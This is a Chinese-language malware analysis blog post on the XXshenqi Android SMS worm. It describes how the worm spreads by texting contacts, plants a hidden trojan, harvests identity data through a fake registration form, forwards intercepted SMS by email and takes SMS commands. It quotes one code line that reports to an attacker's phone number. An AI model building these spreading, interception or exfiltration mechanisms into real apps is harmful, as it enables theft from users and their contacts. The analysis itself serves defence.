原文出处: 91RI
0×00
今天从余弦大大微博上看到了这款Android短信蠕虫的信息,于是自己下载了一款研究,看到网上很多报告的md5值不同,不知道是否是变种。接下来就分析一下,这款病毒究竟做了些什么。
0×01
病毒分为两个部分,一个是XXshenqi.apk,另一个是com.android.Trogoogle.apk。后者存在于前者解压文件下的assets目录中。首先,分析XXshenqi.apk,安装至虚拟机上运行。
0. 首先,在初始安装后,用户点击app,会出现安装另外一个apk的信息:
入口Activity是WelcomeActivity,在这个Activity中,首先获取手机中所有的联系人信息,然后群发一条短信,内容如下:
[联系人姓名] + “看这个,” +””
骗取本机联系人点击恶意链接下载病毒进行传播。
发送成功后,执行:
SmsManager.getDefault().sendTextMessage(“18670259904″, null, “XXshenqi 群发链接OK”, null, null);
即向这个号码反馈执行信息。
开启一个MainActivity
在这个Activity中,安装一个com.example.com.android.trogoogle的文件,这个文件存在于xxshenqi.apk解压后文件的assets目录下。
安装木马后,会自动隐藏图标。
同时弹出一个登录框,只不过这个是个幌子,怎么输入都会出现密码错误或者账户不存在,将用户导入到一个注册页面:RegisterActivity中
3.RegisterActivity真的是注册页面吗?
在这个页面中,会让用户输入很多信息,比如身份证号以及姓名。
如果点击了注册按钮那么很不幸,你的信息就会发送到黑客的手机上。
至此,xxshenqi.apk的任务基本是完成了,即使用户卸载也无所谓,因为木马已经在刚开始就被释放了。
0×02
1.在入口Activity—–MainActivity中木马执行了隐藏图标的功能,随后打开了一个ListenMessageService的服务,在后台运行。
2.ListenMessageService这个服务里面,首先注册一个短信数据库的观察者,检测短信数据库的变化,一旦用户的短信数据库发生变化(收到信息或者更新信息),那么观察者就会执行回调函数执行,首先判断是否是命令短信,命令短信是用来向木马发送命令的。如果是平常的短信,就将截获的短信全部发往黑客手中,值得注意的是木马还判断短信是否是淘宝发送的短信,如果是的话就单独处理。
并且木马中还有发送伪造短信给用户的功能,如果是这种短信,木马就不会截获或者发送给黑客。
这里还存在的恶意行为是读取用户收件发件箱短信,以及手机中的联系人。
当截获完短信之后,木马就又开启了一个MySendEmailService服务。
3.MySendEmailService这个服务就是给黑客发送电子邮件。
这上面都是一些用到的发送信息包括主机,端口,账户名,密码(有密码哦~)。。。
4.定义广播接收者处理接收的命令BroadcastRecvMessage
BroadcastRecvMessage这个类继承了系统的BroadcastReceiver组件,一旦接收到短信,就会触发代码,并判断指令所要求木马执行的具体功能。
readmessage 发送邮件命令
sendmessage发送短信命令
test测试命令
makemessage伪造短信命令
sendlink发送连接的命令
当然,这里也做了具体处理,就是判断是否是普通短信和淘宝网购信息,如果是淘宝信息就加上一个Flag发送,简直碉堡。
0×03
至此,这款病毒究竟做了些啥就基本清楚了,所做的操作也是一般短信木马的常有功能,包括截获短信并发送,发送恶意链接进行传播(冒充联系人发送,更有迷惑性),支持接收指令,以及发送恶意伪造的短信给用户(冒充联系人发送,更有迷惑性)等行为,还是比较歹毒的。
Android系统具有优美的开放性的同时,同样也遭受着各种病毒的侵袭。面对这些病毒,最好的办法还是不要去一些不正规的应用市场下载,并且注意安装时认清权限,如果有可以的权限如:读取系统日志,那么就不要轻易下载。
0×04
此篇分析是小编急着赶出来的,如果有错误的地方,还请指正,共同进步!